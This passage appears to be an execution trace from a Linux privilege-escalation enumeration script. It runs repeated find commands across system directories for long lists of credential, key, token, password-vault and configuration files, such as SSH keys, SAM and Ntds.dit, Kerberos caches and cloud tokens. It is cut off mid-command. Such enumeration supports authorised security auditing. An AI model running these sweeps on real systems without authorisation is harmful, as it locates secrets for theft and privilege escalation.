+ FIND_DIR_USR=`eval_bckgrd "find ${ROOT_FOLDER}usr -type d -name \"concourse-keys\" -o -name \"*jenkins\" -o -name \"cacti\" -o -name \"ldap\" -o -name \"zabbix\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \".kube*\" -o -name \"gcloud\" -o -name \".svn\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \"postfix\" -o -name \"bind\" -o -name \"dirsrv\" -o -name \"doctl\" -o -name \"environments\" -o -name \".bluemix\" -o -name \".docker\" -o -name \"roundcube\" -o -name \"seeddms*\" -o -name \"legacy_credentials\" -o -name \"ipa\" -o -name \"filezilla\" -o -name \"keyrings\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \"concourse-auth\" -o -name \".password-store\" -o -name \"neo4j\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"varnish\" -o -name \"ErrorRecords\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_DIR_VAR=`eval_bckgrd "find ${ROOT_FOLDER}var -type d -name \"concourse-keys\" -o -name \"*jenkins\" -o -name \"cacti\" -o -name \"ldap\" -o -name \"zabbix\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \".kube*\" -o -name \"gcloud\" -o -name \".svn\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \"postfix\" -o -name \"bind\" -o -name \"dirsrv\" -o -name \"kubelet\" -o -name \"doctl\" -o -name \"environments\" -o -name \".bluemix\" -o -name \".docker\" -o -name \"roundcube\" -o -name \"seeddms*\" -o -name \"legacy_credentials\" -o -name \"ipa\" -o -name \"filezilla\" -o -name \"keyrings\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \"kube-proxy\" -o -name \".vnc\" -o -name \"concourse-auth\" -o -name \"neo4j\" -o -name \".password-store\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"varnish\" -o -name \"ErrorRecords\" -o -name \"kubernetes\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_DIR_CONCOURSE_AUTH=`eval_bckgrd "find ${ROOT_FOLDER}concourse-auth -type d -name \"concourse-auth\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_DIR_CONCOURSE_KEYS=`eval_bckgrd "find ${ROOT_FOLDER}concourse-keys -type d -name \"concourse-keys\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_APPLICATIONS=`eval_bckgrd "find ${ROOT_FOLDER}applications -name \"*.psk\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.keytab\" -o -name \"ddclient.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"unattended.xml\" -o -name \".bashrc\" -o -name \"filezilla.xml\" -o -name \".Xauthority\" -o -name \"*.viminfo\" -o -name \"snmpd.conf\" -o -name \"sites.ini\" -o -name \"autologin\" -o -name \"*.vhdx\" -o -name \"system.sav\" -o -name \"kcpassword\" -o -name \"rsyncd.secrets\" -o -name \"config.xml\" -o -name \"KeePass.config*\" -o -name \"ConsoleHost_history.txt\" -o -name \"php.ini\" -o -name \"unattend.inf\" -o -name \"server.xml\" -o -name \"AzureRMContext.json\" -o -name \"SAM\" -o -name \"*.service\" -o -name \"ntuser.dat\" -o -name \"bitcoin.conf\" -o -name \"dockershim.sock\" -o -name \"authorized_keys\" -o -name \"*.rdg\" -o -name \"supervisord.conf\" -o -name \"ftp.config\" -o -name \"sysprep.inf\" -o -name \"*.db\" -o -name \"*.sqlite3\" -o -name \"iis6.log\" -o -name \".secrets.mkey\" -o -name \"*.kdbx\" -o -name \"SecEvent.Evt\" -o -name \".gitconfig\" -o -name \"ftp.ini\" -o -name \".pypirc\" -o -name \"ipsec.secrets\" -o -name \"index.dat\" -o -name \".flyrc\" -o -name \"*.pgp\" -o -name \"backups\" -o -name \"*.jks\" -o -name \"hudson.util.Secret\" -o -name \"adc.json\" -o -name \"webserver_config.py\" -o -name \"mariadb.cnf\" -o -name \"psk.txt\" -o -name \"*.key\" -o -name \"software\" -o -name \"rktlet.sock\" -o -name \".git-credentials\" -o -name \"*password*\" -o -name \"zabbix_server.conf\" -o -name \"KeePass.ini\" -o -name \"wcx_ftp.ini\" -o -name \"error.log\" -o -name \"snyk.config.json\" -o -name \"access_tokens.db\" -o -name \"api_key\" -o -name \"*_history*\" -o -name \"software.sav\" -o -name \"passwd.ibd\" -o -name \"gitlab.yml\" -o -name \"elasticsearch.y*ml\" -o -name \"000-default.conf\" -o -name \"sentry.conf.py\" -o -name \"password*.ibd\" -o -name \"rpcd\" -o -name \"*.tf\" -o -name \"atlantis.db\" -o -name \"fat.config\" -o -name \"ws_ftp.ini\" -o -name \".wgetrc\" -o -name \"racoon.conf\" -o -name \"airflow.cfg\" -o -name \"id_dsa*\" -o -name \"frakti.sock\" -o -name \"pwd.ibd\" -o -name \"db.php\" -o -name \"config.php\" -o -name \"AppEvent.Evt\" -o -name \"redis.conf\" -o -name \".erlang.cookie\" -o -name \"debian.cnf\" -o -name \"pgadmin*.db\" -o -name \"nginx.conf\" -o -name \"rocketchat.service\" -o -name \"log4j-core*.jar\" -o -name \"autounattend.xml\" -o -name \"master.key\" -o -name \"protecteduserkey.bin\" -o -name \"*.sqlite\" -o -name \"my.cnf\" -o -name \"pgadmin4.db\" -o -name \"credentials.db\" -o -name \"fastcgi_params\" -o -name \"*.ovpn\" -o -name \"postgresql.conf\" -o -name \"bash.exe\" -o -name \"https-xampp.conf\" -o -name \"setupinfo.bak\" -o -name \"creds*\" -o -name \"mosquitto.conf\" -o -name \"*.crt\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"database.php\" -o -name \"containerd.sock\" -o -name \".github\" -o -name \"storage.php\" -o -name \"glusterfs.pem\" -o -name \"*.vmdk\" -o -name \"plum.sqlite\" -o -name \"influxdb.conf\" -o -name \"krb5.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*.timer\" -o -name \"groups.xml\" -o -name \"pagefile.sys\" -o -name \"crio.sock\" -o -name \"Elastix.conf\" -o -name \"*.gpg\" -o -name \"*.pfx\" -o -name \"accessTokens.json\" -o -name \"access_tokens.json\" -o -name \"jetty-realm.properties\" -o -name \".k5login\" -o -name \"gvm-tools.conf\" -o -name \"appcmd.exe\" -o -name \"wsl.exe\" -o -name \"scclient.exe\" -o -name \".msmtprc\" -o -name \"known_hosts\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \".htpasswd\" -o -name \"legacy_credentials.db\" -o -name \".sudo_as_admin_successful\" -o -name \"setupinfo\" -o -name \"*.gnupg\" -o -name \"kadm5.acl\" -o -name \"KeePass.enforced*\" -o -name \".env*\" -o -name \"smb.conf\" -o -name \"Dockerfile\" -o -name \"authorized_hosts\" -o -name \".plan\" -o -name \"settings.php\" -o -name \"vsftpd.conf\" -o -name \"winscp.ini\" -o -name \"unattend.txt\" -o -name \"web*.config\" -o -name \"secrets.ldb\" -o -name \"rsyncd.conf\" -o -name \"glusterfs.key\" -o -name \"mongod*.conf\" -o -name \"*.tfstate\" -o -name \"*.socket\" -o -name \"FreePBX.conf\" -o -name \"*.keyring\" -o -name \"credentials.xml\" -o -name \".roadtools_auth\" -o -name \"SYSTEM\" -o -name \"backup\" -o -name \".vault-token\" -o -name \"secrets.yml\" -o -name \"docker.sock\" -o -name \"passbolt.php\" -o -name \".ldaprc\" -o -name \"cesi.conf\" -o -name \"amportal.conf\" -o -name \"pg_hba.conf\" -o -name \"tomcat-users.xml\" -o -name \"mysqld.cnf\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"*config*.php\" -o -name \"sip.conf\" -o -name \"*.csr\" -o -name \"*.p12\" -o -name \"*.keystore\" -o -name \".git\" -o -name \".google_authenticator\" -o -name \"pgsql.conf\" -o -name \"scheduledtasks.xml\" -o -name \"*.ftpconfig\" -o -name \"gitlab.rm\" -o -name \"grafana.ini\" -o -name \"ipsec.conf\" -o -name \"*.pem\" -o -name \"hosts.equiv\" -o -name \".lesshst\" -o -name \"*.cer\" -o -name \"recentservers.xml\" -o -name \"Ntds.dit\" -o -name \"drives.xml\" -o -name \"printers.xml\" -o -name \"security.sav\" -o -name \"default.sav\" -o -name \"*vnc*.txt\" -o -name \"kibana.y*ml\" -o -name \"*.vhd\" -o -name \".credentials.json\" -o -name \"sysprep.xml\" -o -name \"id_rsa*\" -o -name \"glusterfs.ca\" -o -name \"*.der\" -o -name \"access.log\" -o -name \"datasources.xml\" -o -name \".boto\" -o -name \"passwd\" -o -name \"httpd.conf\" -o -name \"NetSetup.log\" -o -name \"*vnc*.ini\" -o -name \"*.pub\" -o -name \"snyk.json\" -o -name \".profile\" -o -name \"unattend.xml\" -o -name \"sssd.conf\" -o -name \"https.conf\" -o -name \"krb5cc_*\" -o -name \"wp-config.php\" -o -name \"hostapd.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"RDCMan.settings\" -o -name \"firebase-tools.json\" -o -name \"*credential*\" -o -name \"docker-compose.yml\" -o -name \"cloud.cfg\" -o -name \"azureProfile.json\" -o -name \".recently-used.xbel\" -o -name \"*.swp\" -o -name \".rhosts\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_BIN=`eval_bckgrd "find ${ROOT_FOLDER}bin -name \"*.psk\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.keytab\" -o -name \"ddclient.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"unattended.xml\" -o -name \".bashrc\" -o -name \"filezilla.xml\" -o -name \".Xauthority\" -o -name \"*.viminfo\" -o -name \"snmpd.conf\" -o -name \"sites.ini\" -o -name \"autologin\" -o -name \"*.vhdx\" -o -name \"system.sav\" -o -name \"kcpassword\" -o -name \"rsyncd.secrets\" -o -name \"config.xml\" -o -name \"KeePass.config*\" -o -name \"ConsoleHost_history.txt\" -o -name \"php.ini\" -o -name \"unattend.inf\" -o -name \"server.xml\" -o -name \"AzureRMContext.json\" -o -name \"SAM\" -o -name \"*.service\" -o -name \"ntuser.dat\" -o -name \"bitcoin.conf\" -o -name \"dockershim.sock\" -o -name \"authorized_keys\" -o -name \"*.rdg\" -o -name \"supervisord.conf\" -o -name \"ftp.config\" -o -name \"sysprep.inf\" -o -name \"*.db\" -o -name \"*.sqlite3\" -o -name \"iis6.log\" -o -name \".secrets.mkey\" -o -name \"*.kdbx\" -o -name \"SecEvent.Evt\" -o -name \".gitconfig\" -o -name \"ftp.ini\" -o -name \".pypirc\" -o -name \"ipsec.secrets\" -o -name \"index.dat\" -o -name \".flyrc\" -o -name \"*.pgp\" -o -name \"backups\" -o -name \"*.jks\" -o -name \"hudson.util.Secret\" -o -name \"adc.json\" -o -name \"webserver_config.py\" -o -name \"mariadb.cnf\" -o -name \"psk.txt\" -o -name \"*.key\" -o -name \"software\" -o -name \"rktlet.sock\" -o -name \".git-credentials\" -o -name \"*password*\" -o -name \"zabbix_server.conf\" -o -name \"KeePass.ini\" -o -name \"wcx_ftp.ini\" -o -name \"error.log\" -o -name \"snyk.config.json\" -o -name \"access_tokens.db\" -o -name \"api_key\" -o -name \"*_history*\" -o -name \"software.sav\" -o -name \"passwd.ibd\" -o -name \"gitlab.yml\" -o -name \"elasticsearch.y*ml\" -o -name \"000-default.conf\" -o -name \"sentry.conf.py\" -o -name \"password*.ibd\" -o -name \"rpcd\" -o -name \"*.tf\" -o -name \"atlantis.db\" -o -name \"fat.config\" -o -name \"ws_ftp.ini\" -o -name \".wgetrc\" -o -name \"racoon.conf\" -o -name \"airflow.cfg\" -o -name \"id_dsa*\" -o -name \"frakti.sock\" -o -name \"pwd.ibd\" -o -name \"db.php\" -o -name \"config.php\" -o -name \"AppEvent.Evt\" -o -name \"redis.conf\" -o -name \".erlang.cookie\" -o -name \"debian.cnf\" -o -name \"pgadmin*.db\" -o -name \"nginx.conf\" -o -name \"rocketchat.service\" -o -name \"log4j-core*.jar\" -o -name \"autounattend.xml\" -o -name \"master.key\" -o -name \"protecteduserkey.bin\" -o -name \"*.sqlite\" -o -name \"my.cnf\" -o -name \"pgadmin4.db\" -o -name \"credentials.db\" -o -name \"fastcgi_params\" -o -name \"*.ovpn\" -o -name \"postgresql.conf\" -o -name \"bash.exe\" -o -name \"https-xampp.conf\" -o -name \"setupinfo.bak\" -o -name \"creds*\" -o -name \"mosquitto.conf\" -o -name \"*.crt\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"database.php\" -o -name \"containerd.sock\" -o -name \".github\" -o -name \"storage.php\" -o -name \"glusterfs.pem\" -o -name \"*.vmdk\" -o -name \"plum.sqlite\" -o -name \"influxdb.conf\" -o -name \"krb5.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*.timer\" -o -name \"groups.xml\" -o -name \"pagefile.sys\" -o -name \"crio.sock\" -o -name \"Elastix.conf\" -o -name \"*.gpg\" -o -name \"*.pfx\" -o -name \"accessTokens.json\" -o -name \"access_tokens.json\" -o -name \"jetty-realm.properties\" -o -name \".k5login\" -o -name \"gvm-tools.conf\" -o -name \"appcmd.exe\" -o -name \"wsl.exe\" -o -name \"scclient.exe\" -o -name \".msmtprc\" -o -name \"known_hosts\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \".htpasswd\" -o -name \"legacy_credentials.db\" -o -name \".sudo_as_admin_successful\" -o -name \"setupinfo\" -o -name \"*.gnupg\" -o -name \"kadm5.acl\" -o -name \"KeePass.enforced*\" -o -name \".env*\" -o -name \"smb.conf\" -o -name \"Dockerfile\" -o -name \"authorized_hosts\" -o -name \".plan\" -o -name \"settings.php\" -o -name \"vsftpd.conf\" -o -name \"winscp.ini\" -o -name \"unattend.txt\" -o -name \"web*.config\" -o -name \"secrets.ldb\" -o -name \"rsyncd.conf\" -o -name \"glusterfs.key\" -o -name \"mongod*.conf\" -o -name \"*.tfstate\" -o -name \"*.socket\" -o -name \"FreePBX.conf\" -o -name \"*.keyring\" -o -name \"credentials.xml\" -o -name \".roadtools_auth\" -o -name \"SYSTEM\" -o -name \"backup\" -o -name \".vault-token\" -o -name \"secrets.yml\" -o -name \"docker.sock\" -o -name \"passbolt.php\" -o -name \".ldaprc\" -o -name \"cesi.conf\" -o -name \"amportal.conf\" -o -name \"pg_hba.conf\" -o -name \"tomcat-users.xml\" -o -name \"mysqld.cnf\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"*config*.php\" -o -name \"sip.conf\" -o -name \"*.csr\" -o -name \"*.p12\" -o -name \"*.keystore\" -o -name \".git\" -o -name \".google_authenticator\" -o -name \"pgsql.conf\" -o -name \"scheduledtasks.xml\" -o -name \"*.ftpconfig\" -o -name \"gitlab.rm\" -o -name \"grafana.ini\" -o -name \"ipsec.conf\" -o -name \"*.pem\" -o -name \"hosts.equiv\" -o -name \".lesshst\" -o -name \"*.cer\" -o -name \"recentservers.xml\" -o -name \"Ntds.dit\" -o -name \"drives.xml\" -o -name \"printers.xml\" -o -name \"security.sav\" -o -name \"default.sav\" -o -name \"*vnc*.txt\" -o -name \"kibana.y*ml\" -o -name \"*.vhd\" -o -name \".credentials.json\" -o -name \"sysprep.xml\" -o -name \"id_rsa*\" -o -name \"glusterfs.ca\" -o -name \"*.der\" -o -name \"access.log\" -o -name \"datasources.xml\" -o -name \".boto\" -o -name \"passwd\" -o -name \"httpd.conf\" -o -name \"NetSetup.log\" -o -name \"*vnc*.ini\" -o -name \"*.pub\" -o -name \"snyk.json\" -o -name \".profile\" -o -name \"unattend.xml\" -o -name \"sssd.conf\" -o -name \"https.conf\" -o -name \"krb5cc_*\" -o -name \"wp-config.php\" -o -name \"hostapd.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"RDCMan.settings\" -o -name \"firebase-tools.json\" -o -name \"*credential*\" -o -name \"docker-compose.yml\" -o -name \"cloud.cfg\" -o -name \"azureProfile.json\" -o -name \".recently-used.xbel\" -o -name \"*.swp\" -o -name \".rhosts\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_CACHE=`eval_bckgrd "find ${ROOT_FOLDER}.cache -name \"*.psk\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.keytab\" -o -name \"ddclient.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"unattended.xml\" -o -name \".bashrc\" -o -name \"filezilla.xml\" -o -name \".Xauthority\" -o -name \"*.viminfo\" -o -name \"snmpd.conf\" -o -name \"sites.ini\" -o -name \"autologin\" -o -name \"*.vhdx\" -o -name \"system.sav\" -o -name \"kcpassword\" -o -name \"rsyncd.secrets\" -o -name \"config.xml\" -o -name \"KeePass.config*\" -o -name \"ConsoleHost_history.txt\" -o -name \"php.ini\" -o -name \"unattend.inf\" -o -name \"server.xml\" -o -name \"AzureRMContext.json\" -o -name \"SAM\" -o -name \"*.service\" -o -name \"ntuser.dat\" -o -name \"bitcoin.conf\" -o -name \"dockershim.sock\" -o -name \"authorized_keys\" -o -name \"*.rdg\" -o -name \"supervisord.conf\" -o -name \"ftp.config\" -o -name \"sysprep.inf\" -o -name \"*.db\" -o -name \"*.sqlite3\" -o -name \"iis6.log\" -o -name \".secrets.mkey\" -o -name \"*.kdbx\" -o -name \"SecEvent.Evt\" -o -name \".gitconfig\" -o -name \"ftp.ini\" -o -name \".pypirc\" -o -name \"ipsec.secrets\" -o -name \"index.dat\" -o -name \".flyrc\" -o -name \"*.pgp\" -o -name \"backups\" -o -name \"*.jks\" -o -name \"hudson.util.Secret\" -o -name \"adc.json\" -o -name \"webserver_config.py\" -o -name \"mariadb.cnf\" -o -name \"psk.txt\" -o -name \"*.key\" -o -name \"software\" -o -name \"rktlet.sock\" -o -name \".git-credentials\" -o -name \"*password*\" -o -name \"zabbix_server.conf\" -o -name \"KeePass.ini\" -o -name \"wcx_ftp.ini\" -o -name \"error.log\" -o -name \"snyk.config.json\" -o -name \"access_tokens.db\" -o -name \"api_key\" -o -name \"*_history*\" -o -name \"software.sav\" -o -name \"passwd.ibd\" -o -name \"gitlab.yml\" -o -name \"elasticsearch.y*ml\" -o -name \"000-default.conf\" -o -name \"sentry.conf.py\" -o -name \"password*.ibd\" -o -name \"rpcd\" -o -name \"*.tf\" -o -name \"atlantis.db\" -o -name \"fat.config\" -o -name \"ws_ftp.ini\" -o -name \".wgetrc\" -o -name \"racoon.conf\" -o -name \"airflow.cfg\" -o -name \"id_dsa*\" -o -name \"frakti.sock\" -o -name \"pwd.ibd\" -o -name \"db.php\" -o -name \"config.php\" -o -name \"AppEvent.Evt\" -o -name \"redis.conf\" -o -name \".erlang.cookie\" -o -name \"debian.cnf\" -o -name \"pgadmin*.db\" -o -name \"nginx.conf\" -o -name \"rocketchat.service\" -o -name \"log4j-core*.jar\" -o -name \"autounattend.xml\" -o -name \"master.key\" -o -name \"protecteduserkey.bin\" -o -name \"*.sqlite\" -o -name \"my.cnf\" -o -name \"pgadmin4.db\" -o -name \"credentials.db\" -o -name \"fastcgi_params\" -o -name \"*.ovpn\" -o -name \"postgresql.conf\" -o -name \"bash.exe\" -o -name \"https-xampp.conf\" -o -name \"setupinfo.bak\" -o -name \"creds*\" -o -name \"mosquitto.conf\" -o -name \"*.crt\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"database.php\" -o -name \"containerd.sock\" -o -name \".github\" -o -name \"storage.php\" -o -name \"glusterfs.pem\" -o -name \"*.vmdk\" -o -name \"plum.sqlite\" -o -name \"influxdb.conf\" -o -name \"krb5.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*.timer\" -o -name \"groups.xml\" -o -name \"pagefile.sys\" -o -name \"crio.sock\" -o -name \"Elastix.conf\" -o -name \"*.gpg\" -o -name \"*.pfx\" -o -name \"accessTokens.json\" -o -name \"access_tokens.json\" -o -name \"jetty-realm.properties\" -o -name \".k5login\" -o -name \"gvm-tools.conf\" -o -name \"appcmd.exe\" -o -name \"wsl.exe\" -o -name \"scclient.exe\" -o -name \".msmtprc\" -o -name \"known_hosts\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \".htpasswd\" -o -name \"legacy_credentials.db\" -o -name \".sudo_as_admin_successful\" -o -name \"setupinfo\" -o -name \"*.gnupg\" -o -name \"kadm5.acl\" -o -name \"KeePass.enforced*\" -o -name \".env*\" -o -name \"smb.conf\" -o -name \"Dockerfile\" -o -name \"authorized_hosts\" -o -name \".plan\" -o -name \"settings.php\" -o -name \"vsftpd.conf\" -o -name \"winscp.ini\" -o -name \"unattend.txt\" -o -name \"web*.config\" -o -name \"secrets.ldb\" -o -name \"rsyncd.conf\" -o -name \"glusterfs.key\" -o -name \"mongod*.conf\" -o -name \"*.tfstate\" -o -name \"*.socket\" -o -name \"FreePBX.conf\" -o -name \"*.keyring\" -o -name \"credentials.xml\" -o -name \".roadtools_auth\" -o -name \"SYSTEM\" -o -name \"backup\" -o -name \".vault-token\" -o -name \"secrets.yml\" -o -name \"docker.sock\" -o -name \"passbolt.php\" -o -name \".ldaprc\" -o -name \"cesi.conf\" -o -name \"amportal.conf\" -o -name \"pg_hba.conf\" -o -name \"tomcat-users.xml\" -o -name \"mysqld.cnf\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"*config*.php\" -o -name \"sip.conf\" -o -name \"*.csr\" -o -name \"*.p12\" -o -name \"*.keystore\" -o -name \".git\" -o -name \".google_authenticator\" -o -name \"pgsql.conf\" -o -name \"scheduledtasks.xml\" -o -name \"*.ftpconfig\" -o -name \"gitlab.rm\" -o -name \"grafana.ini\" -o -name \"ipsec.conf\" -o -name \"*.pem\" -o -name \"hosts.equiv\" -o -name \".lesshst\" -o -name \"*.cer\" -o -name \"recentservers.xml\" -o -name \"Ntds.dit\" -o -name \"drives.xml\" -o -name \"printers.xml\" -o -name \"security.sav\" -o -name \"default.sav\" -o -name \"*vnc*.txt\" -o -name \"kibana.y*ml\" -o -name \"*.vhd\" -o -name \".credentials.json\" -o -name \"sysprep.xml\" -o -name \"id_rsa*\" -o -name \"glusterfs.ca\" -o -name \"*.der\" -o -name \"access.log\" -o -name \"datasources.xml\" -o -name \".boto\" -o -name \"passwd\" -o -name \"httpd.conf\" -o -name \"NetSetup.log\" -o -name \"*vnc*.ini\" -o -name \"*.pub\" -o -name \"snyk.json\" -o -name \".profile\" -o -name \"unattend.xml\" -o -name \"sssd.conf\" -o -name \"https.conf\" -o -name \"krb5cc_*\" -o -name \"wp-config.php\" -o -name \"hostapd.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"RDCMan.settings\" -o -name \"firebase-tools.json\" -o -name \"*credential*\" -o -name \"docker-compose.yml\" -o -name \"cloud.cfg\" -o -name \"azureProfile.json\" -o -name \".recently-used.xbel\" -o -name \"*.swp\" -o -name \".rhosts\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_CDROM=`eval_bckgrd "find ${ROOT_FOLDER}cdrom -name \"*.psk\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.keytab\" -o -name \"ddclient.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"unattended.xml\" -o -name \".bashrc\" -o -name \"filezilla.xml\" -o -name \".Xauthority\" -o -name \"*.viminfo\" -o -name \"snmpd.conf\" -o -name \"sites.ini\" -o -name \"autologin\" -o -name \"*.vhdx\" -o -name \"system.sav\" -o -name \"kcpassword\" -o -name \"rsyncd.secrets\" -o -name \"config.xml\" -o -name \"KeePass.config*\" -o -name \"ConsoleHost_history.txt\" -o -name \"php.ini\" -o -name \"unattend.inf\" -o -name \"server.xml\" -o -name \"AzureRMContext.json\" -o -name \"SAM\" -o -name \"*.service\" -o -name \"ntuser.dat\" -o -name \"bitcoin.conf\" -o -name \"dockershim.sock\" -o -name \"authorized_keys\" -o -name \"*.rdg\" -o -name \"supervisord.conf\" -o -name \"ftp.config\" -o -name \"sysprep.inf\" -o -name \"*.db\" -o -name \"*.sqlite3\" -o -name \"iis6.log\" -o -name \".secrets.mkey\" -o -name \"*.kdbx\" -o -name \"SecEvent.Evt\" -o -name \".gitconfig\" -o -name \"ftp.ini\" -o -name \".pypirc\" -o -name \"ipsec.secrets\" -o -name \"index.dat\" -o -name \".flyrc\" -o -name \"*.pgp\" -o -name \"backups\" -o -name \"*.jks\" -o -name \"hudson.util.Secret\" -o -name \"adc.json\" -o -name \"webserver_config.py\" -o -name \"mariadb.cnf\" -o -name \"psk.txt\" -o -name \"*.key\" -o -name \"software\" -o -name \"rktlet.sock\" -o -name \".git-credentials\" -o -name \"*password*\" -o -name \"zabbix_server.conf\" -o -name \"KeePass.ini\" -o -name \"wcx_ftp.ini\" -o -name \"error.log\" -o -name \"snyk.config.json\" -o -name \"access_tokens.db\" -o -name \"api_key\" -o -name \"*_history*\" -o -name \"software.sav\" -o -name \"passwd.ibd\" -o -name \"gitlab.yml\" -o -name \"elasticsearch.y*ml\" -o -name \"000-default.conf\" -o -name \"sentry.conf.py\" -o -name \"password*.ibd\" -o -name \"rpcd\" -o -name \"*.tf\" -o -name \"atlantis.db\" -o -name \"fat.config\" -o -name \"ws_ftp.ini\" -o -name \".wgetrc\" -o -name \"racoon.conf\" -o -name \"airflow.cfg\" -o -name \"id_dsa*\" -o -name \"frakti.sock\" -o -name \"pwd.ibd\" -o -name \"db.php\" -o -name \"config.php\" -o -name \"AppEvent.Evt\" -o -name \"redis.conf\" -o -name \".erlang.cookie\" -o -name \"debian.cnf\" -o -name \"pgadmin*.db\" -o -name \"nginx.conf\" -o -name \"rocketchat.service\" -o -name \"log4j-core*.jar\" -o -name \"autounattend.xml\" -o -name \"master.key\" -o -name \"protecteduserkey.bin\" -o -name \"*.sqlite\" -o -name \"my.cnf\" -o -name \"pgadmin4.db\" -o -name \"credentials.db\" -o -name \"fastcgi_params\" -o -name \"*.ovpn\" -o -name \"postgresql.conf\" -o -name \"bash.exe\" -o -name \"https-xampp.conf\" -o -name \"setupinfo.bak\" -o -name \"creds*\" -o -name \"mosquitto.conf\" -o -name \"*.crt\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"database.php\" -o -name \"containerd.sock\" -o -name \".github\" -o -name \"storage.php\" -o -name \"glusterfs.pem\" -o -name \"*.vmdk\" -o -name \"plum.sqlite\" -o -name \"influxdb.conf\" -o -name \"krb5.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*.timer\" -o -name \"groups.xml\" -o -name \"pagefile.sys\" -o -name \"crio.sock\" -o -name \"Elastix.conf\" -o -name \"*.gpg\" -o -name \"*.pfx\" -o -name \"accessTokens.json\" -o -name \"access_tokens.json\" -o -name \"jetty-realm.properties\" -o -name \".k5login\" -o -name \"gvm-tools.conf\" -o -name \"appcmd.exe\" -o -name \"wsl.exe\" -o -name \"scclient.exe\" -o -name \".msmtprc\" -o -name \"known_hosts\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \".htpasswd\" -o -name \"legacy_credentials.db\" -o -name \".sudo_as_admin_successful\" -o -name \"setupinfo\" -o -name \"*.gnupg\" -o -name \"kadm5.acl\" -o -name \"KeePass.enforced*\" -o -name \".env*\" -o -name \"smb.conf\" -o -name \"Dockerfile\" -o -name \"authorized_hosts\" -o -name \".plan\" -o -name \"settings.php\" -o -name \"vsftpd.conf\" -o -name \"winscp.ini\" -o -name \"unattend.txt\" -o -name \"web*.config\" -o -name \"secrets.ldb\" -o -name \"rsyncd.conf\" -o -name \"glusterfs.key\" -o -name \"mongod*.conf\" -o -name \"*.tfstate\" -o -name \"*.socket\" -o -name \"FreePBX.conf\" -o -name \"*.keyring\" -o -name \"credentials.xml\" -o -name \".roadtools_auth\" -o -name \"SYSTEM\" -o -name \"backup\" -o -name \".vault-token\" -o -name \"secrets.yml\" -o -name \"docker.sock\" -o -name \"passbolt.php\" -o -name \".ldaprc\" -o -name \"cesi.conf\" -o -name \"amportal.conf\" -o -name \"pg_hba.conf\" -o -name \"tomcat-users.xml\" -o -name \"mysqld.cnf\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"*config*.php\" -o -name \"sip.conf\" -o -name \"*.csr\" -o -name \"*.p12\" -o -name \"*.keystore\" -o -name \".git\" -o -name \".google_authenticator\" -o -name \"pgsql.conf\" -o -name \"scheduledtasks.xml\" -o -name \"*.ftpconfig\" -o -name \"gitlab.rm\" -o -name \"grafana.ini\" -o -name \"ipsec.conf\" -o -name \"*.pem\" -o -name \"hosts.equiv\" -o -name \".lesshst\" -o -name \"*.cer\" -o -name \"recentservers.xml\" -o -name \"Ntds.dit\" -o -name \"drives.xml\" -o -name \"printers.xml\" -o -name \"security.sav\" -o -name \"default.sav\" -o -name \"*vnc*.txt\" -o -name \"kibana.y*ml\" -o -name \"*.vhd\" -o -name \".credentials.json\" -o -name \"sysprep.xml\" -o -name \"id_rsa*\" -o -name \"glusterfs.ca\" -o -name \"*.der\" -o -name \"access.log\" -o -name \"datasources.xml\" -o -name \".boto\" -o -name \"passwd\" -o -name \"httpd.conf\" -o -name \"NetSetup.log\" -o -name \"*vnc*.ini\" -o -name \"*.pub\" -o -name \"snyk.json\" -o -name \".profile\" -o -name \"unattend.xml\" -o -name \"sssd.conf\" -o -name \"https.conf\" -o -name \"krb5cc_*\" -o -name \"wp-config.php\" -o -name \"hostapd.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"RDCMan.settings\" -o -name \"firebase-tools.json\" -o -name \"*credential*\" -o -name \"docker-compose.yml\" 